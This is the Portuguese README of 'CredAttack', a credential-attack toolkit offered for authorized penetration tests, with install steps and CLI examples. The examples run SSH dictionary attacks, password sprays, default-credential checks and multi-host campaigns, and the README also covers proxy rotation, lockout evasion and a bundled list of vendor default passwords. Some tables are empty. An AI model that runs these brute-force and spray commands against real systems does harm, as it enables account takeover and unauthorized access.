CredAttack — Kit de Ataques de Credenciais
⚠️ AVISO LEGAL — Apenas para testes de segurança AUTORIZADOS.
Usar esta ferramenta contra sistemas que você não possui ou para os quais não tem autorização escrita explícita é ilegal sob o Computer Fraud and Abuse Act (EUA), Computer Misuse Act (Reino Unido) e leis equivalentes em todo o mundo. Consulte SECURITY.md.
Índice
O que é o CredAttack?
O CredAttack é uma suíte modular de testes de credenciais de nível de produção para engajamentos autorizados de testes de penetração. Ele cobre todo o ciclo de vida de ataques de credenciais:
| Fase | Capacidade do CredAttack |
|---|
|
Modos de Ataque
Protocolos Suportados
Arquitetura
credattack.py ← shim fino: `python credattack.py ...` a partir de um checkout
│
├── credattack/cli.py ← CLI (Typer) — 8 subcomandos de modos de ataque; também o
│ script de console `credattack` quando instalado via pip
├── credattack/core/
│ ├── config.py ← Configurações Pydantic v2, substituições por env-var CREDATTACK_*
│ ├── engine.py ← AttackEngine (ThreadPoolExecutor + interface de progresso Rich)
│ ├── lockout.py ← LockoutDetector (janela deslizante, thread-safe)
│ ├── proxy.py ← ProxyRotator (round-robin, health-check, rebaixamento)
│ ├── mutator.py ← PasswordMutator (leet, sazonal, sufixo, keyboard-walk…)
│ ├── result.py ← Dataclasses AttemptResult + SessionReport
│ ├── report.py ← Gerador de relatórios HTML Jinja2
│ └── logger.py ← Logging Rich + gravador de auditoria JSONL
│
├── credattack/protocols/
│ └── *.py ← 18 implementações de ProtocolAttacker
│
├── credattack/data/
│ ├── default_creds.json ← 200+ pares reais de credenciais padrão
│ ├── smart_patterns.json ← 140+ modelos de senhas empresariais
│ └── wordlists/ ← Listas de senhas padrão por serviço
│
└── tests/ ← 50+ testes pytest (unitários + mocks de protocolo)
Início Rápido
# Clonar e configurar
git clone https://github.com/amibhai/credential-attacks-toolkit.git
cd credential-attacks-toolkit
python -m venv .venv && source .venv/bin/activate # Windows: .venv\Scripts\activate
pip install -r requirements.txt
# Verificar versão
python credattack.py --version
# Dry-run (nenhuma conexão feita — verifique suas wordlists)
python credattack.py ssh -t 192.168.1.100 -u admin -P wordlists/common_passwords.txt --dry-run
# Ataque de dicionário SSH real
python credattack.py ssh -t 192.168.1.100 -u admin -P /path/to/rockyou.txt
# Password spray (com limitação de taxa, seguro contra bloqueio)
python credattack.py spray -t 192.168.1.100 --protocol ssh -U users.txt -p "Summer2024!" --delay 30
# Modo inteligente — gera padrões a partir de nome de usuário + empresa
python credattack.py smart -t 192.168.1.100 --protocol ssh -u john.doe --company ACME
# Testar padrões de serviços
python credattack.py defaults -t 192.168.1.100 --protocol mysql
# Campanha multi-alvo
python credattack.py multi --targets hosts.txt --protocol ssh -U users.txt -P passes.txt
Instalação
Opção A — pip + virtualenv (recomendado)
python -m venv .venv
source .venv/bin/activate # Windows: .venv\Scripts\activate
pip install --upgrade pip
pip install -r requirements.txt
Opção B — Atalhos do Makefile
make install # dependências principais
make install-dev # + pytest-cov, ruff, mypy
Opção C — pip install (editable ou a partir de um wheel)
pip install -e . # apenas dependências principais
pip install -e .[full] # + SMB/RDP/MySQL/MSSQL/Redis/MongoDB/WinRM/LDAP
pip install -e .[dev] # + pytest/ruff/mypy
credattack --version # script de console, equivalente a `python credattack.py`
Opção D — Docker
docker build -t credattack -f docker/Dockerfile .
docker run --rm credattack --help
# Montar suas wordlists e coletar a saída
docker run --rm \
-v $(pwd)/wordlists:/app/wordlists:ro \
-v $(pwd)/output:/app/output \
credattack ssh -t 192.168.1.100 -u admin -P wordlists/common_passwords.txt
Referência da CLI
Opções globais
python credattack.py [OPTIONS] COMMAND [ARGS]...
Options:
-V, --version Mostra a versão e sai.
--help Mostra a ajuda.
Flags comuns (disponíveis em todos os comandos de protocolo)
Subcomandos
# Específicos por protocolo (cada um mapeia para um atacante dedicado)
python credattack.py ssh|ftp|smb|rdp|smtp|pop3|imap|mysql|mssql|redis|mongodb|winrm|ldap|telnet|vnc \
-t HOST -u USER -P passes.txt
# HTTP (formulário / basic / digest)
python credattack.py http -t http://target/login --mode form \
--form-user-field username --form-pass-field password --success-string "Dashboard"
# Spray — senha única, muitos usuários, atraso longo
python credattack.py spray -t HOST --protocol ssh -U users.txt -p "Password1" --delay 30
# Combo — produto cartesiano usuários × senhas
python credattack.py combo -t HOST --protocol smb -U users.txt -P passes.txt
# Inteligente — geração derivada de OSINT
python credattack.py smart -t HOST --protocol ssh -u firstname.lastname --company TargetCorp
# Padrões — testar credenciais padrão do fornecedor
python credattack.py defaults -t HOST --protocol mysql
# Multi — mesmo ataque em vários hosts
python credattack.py multi --targets hosts.txt --protocol ssh -U users.txt -P passes.txt
# Completo — todos os protocolos em sequência
python credattack.py full -t HOST -U users.txt -P passes.txt
Motor de Mutação de Senhas
O PasswordMutator em credattack/core/mutator.py suporta estratégias combináveis:
from credattack.core.mutator import PasswordMutator
m = PasswordMutator(max_mutations=5000)
# Todas as estratégias combinadas
for pw in m.smart_generate("john.doe", company="ACME"):
print(pw)
# Apenas padrões sazonais
for pw in m.seasonal_patterns(company="Contoso"):
print(pw)
Base de Dados de Credenciais Padrão
credattack/data/default_creds.json contém 200+ pares reais de credenciais padrão em:
Cisco · F5 · Juniper · Palo Alto · VMware · Jenkins · GitLab · Tomcat · WordPress · MySQL · MSSQL · Redis · MongoDB · PostgreSQL · Elasticsearch · RabbitMQ · Splunk · Nagios · Zabbix · pfSense · MikroTik · Huawei · HP iLO · Dell iDRAC · IPMI
# Ver todos os padrões para um serviço
python credattack.py defaults -t HOST --protocol mysql --dry-run
# Executar contra o alvo
python credattack.py defaults -t 10.0.0.1 --protocol ssh
Rotação de Proxies
Passe um arquivo de proxies (um proxy por linha, formato host:port):
# proxies.txt
192.168.1.10:1080
192.168.1.11:1080
socks5://10.0.0.5:9050
python credattack.py ssh -t TARGET -u admin -P passes.txt --proxy-file proxies.txt
O ProxyRotator realiza health-checks na inicialização e rebaixa proxies que excedem um limite de taxa de falhas. Proxies mortos são excluídos automaticamente.
Relatórios HTML
Após cada ataque que não seja dry-run, um relatório HTML é gerado automaticamente em ./output/:
- Cartões de estatísticas: total de tentativas, taxa de sucesso, duração, tentativas/segundo
- Tabela de credenciais encontradas: host · protocolo · nome de usuário · senha (copiar para a área de transferência)
- Tema escuro — modelo Jinja2
# Abrir após uma execução
start output/report_*.html # Windows
open output/report_*.html # macOS
Configuração e Variáveis de Ambiente
Todas as configurações em credattack/core/config.py podem ser substituídas por variáveis de ambiente CREDATTACK_*:
export CREDATTACK_THREADS=20
export CREDATTACK_TIMEOUT=3.0
export CREDATTACK_DELAY=1.0
export CREDATTACK_JITTER=0.5
export CREDATTACK_LOCKOUT_THRESHOLD=3
export CREDATTACK_VERBOSITY=2
Ou no nível da CLI com as flags padrão (--threads, --timeout, etc.).
Docker
# Construir imagem
docker build -t credattack -f docker/Dockerfile .
# Executar com Docker Compose
cd docker
docker compose run credattack ssh -t 192.168.1.100 -u admin -P /app/wordlists/common_passwords.txt
# Definir configuração via ambiente
docker run --rm \
-e CREDATTACK_THREADS=20 \
-e CREDATTACK_TIMEOUT=3 \
-v $(pwd)/output:/app/output \
credattack defaults -t 10.0.0.1 --protocol mysql
Testes
# Executar todos os testes
pytest -q
# Com cobertura
pytest --cov=credattack --cov-report=term-missing -q
# Atalho do Makefile
make test-cov
Suíte atual: 50+ testes cobrindo:
Wordlists
⚠️ Os arquivos wordlists/ incluídos são stubs mínimos de smoke-test. Forneça os seus próprios para avaliações reais.
Fontes recomendadas
# Usar qualquer wordlist externa
python credattack.py ssh -t TARGET -u admin -P /opt/wordlists/rockyou.txt
Estrutura do Projeto
credential-attacks-toolkit/
├── credattack.py # Shim fino -> credattack.cli:app (uso a partir do checkout)
├── pyproject.toml # Configuração de build e ferramentas PEP 517/518
├── requirements.txt # Dependências de execução
├── Makefile # Atalhos para desenvolvedores
├── VERSION # Fonte única da verdade da versão
├── CHANGELOG.md
├── SECURITY.md
├── .github/
│ └── workflows/ci.yml # GitHub Actions: lint + matriz de testes + mypy
├── docker/
│ ├── Dockerfile
│ └── docker-compose.yml
├── credattack/
│ ├── cli.py # CLI (Typer) — empacotada, dá suporte ao script de console
│ ├── core/
│ │ ├── config.py # Configurações Pydantic v2
│ │ ├── engine.py # AttackEngine (ThreadPoolExecutor)
│ │ ├── lockout.py # LockoutDetector (janela deslizante)
│ │ ├── proxy.py # ProxyRotator
│ │ ├── mutator.py # PasswordMutator
│ │ ├── result.py # AttemptResult, SessionReport
│ │ ├── report.py # Gerador de relatórios HTML
│ │ └── logger.py # Logger Rich + gravador JSONL
│ ├── protocols/ # 18 implementações de ProtocolAttacker
│ │ └── base.py # ProtocolAttacker abstrato
│ └── data/
│ ├── default_creds.json # 200+ padrões de fornecedores
│ ├── smart_patterns.json # 140+ modelos empresariais
│ └── wordlists/ # Listas iniciais por serviço
├── attacks/ # Ferramentas autônomas de arquivo único (anteriores ao credattack/;
│ └── *.py # mantidas para scripts ainda não portados: quebra de JWT,
│ # detecção de WAF, enumeração de usuários baseada em tempo)
├── utils/
│ └── credential_utils.py # Helpers compartilhados para os scripts de attacks/
├── tests/
│ ├── conftest.py # Fixtures compartilhadas
│ ├── test_lockout.py
│ ├── test_mutator.py
│ ├── test_mutator_extended.py
│ ├── test_proxy.py
│ ├── test_result.py
│ ├── test_protocols_ssh.py
│ ├── test_protocols_ftp.py
│ └── test_protocols_http.py
├── wordlists/ # Stubs mínimos de smoke-test
└── output/ # Logs e relatórios gerados (ignorados pelo git)
Taxas de Sucesso de Ataque (Indicativas)
Contribuição
Consulte CONTRIBUTING.md.
Abra uma issue antes de enviar PRs grandes.
Todas as contribuições devem aderir à política de uso ético em SECURITY.md.
Use com responsabilidade. Teste com ética. Permaneça dentro da lei.